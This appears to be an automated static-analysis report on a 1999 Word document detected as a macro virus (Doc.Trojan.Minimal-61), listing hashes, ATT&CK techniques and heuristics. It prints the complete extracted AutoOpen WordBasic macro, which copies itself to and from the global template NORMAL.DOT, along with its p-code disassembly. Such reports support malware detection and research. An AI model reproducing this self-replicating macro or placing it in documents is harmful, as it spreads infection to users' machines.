Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 25aed3939f66eafd…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-09 17:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2dd6e402b587dfb8d5136862877d2afc SHA-1: 6f50f4faeb16fe50457a332c29daa6c531d69eec SHA-256: 25aed3939f66eafd0ac04a345a1b93559dac39e0b318974fe141be121c2a8381
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a common technique for initial execution in older Word documents. The macro attempts to copy itself to the global template 'Global:AutoOpen' and potentially to 'NORMAL.DOT', indicating an attempt at persistence or to ensure its execution on subsequent document openings. The presence of the AutoOpen macro and the legacy WordBasic marker strongly suggests malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-61 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-61
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1990 bytes
SHA-256: 3d8521fc9ad7f4d28f090eed0973d0db871260d7b7cfa4251f6c74446ac3adee
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim F$
Dim G$
Dim M$
On Error GoTo -1: On Error GoTo MinSize
F$ = WordBasic.[FileName$]() + ":AutoOpen"
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:AutoOpen", F$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy F$, "Global:AutoOpen"
End If
MinSize:
End Sub

' Processing file: /opt/analyzer/scan_staging/9f0353ef8c1f400ea1c54071c638adc8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/AutoOpen - 1532 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	Dim 
' 	VarDefn False
' Line #2:
' 	Dim 
' 	VarDefn G
' Line #3:
' 	Dim 
' 	VarDefn M
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError MinSize 
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St False$ 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St M$ 
' Line #7:
' 	Ld M$ 
' 	LitStr 0x000A "NORMAL.DOT"
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld False$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #9:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	ElseBlock 
' Line #11:
' 	Ld False$ 
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Label MinSize 
' Line #14:
' 	EndSub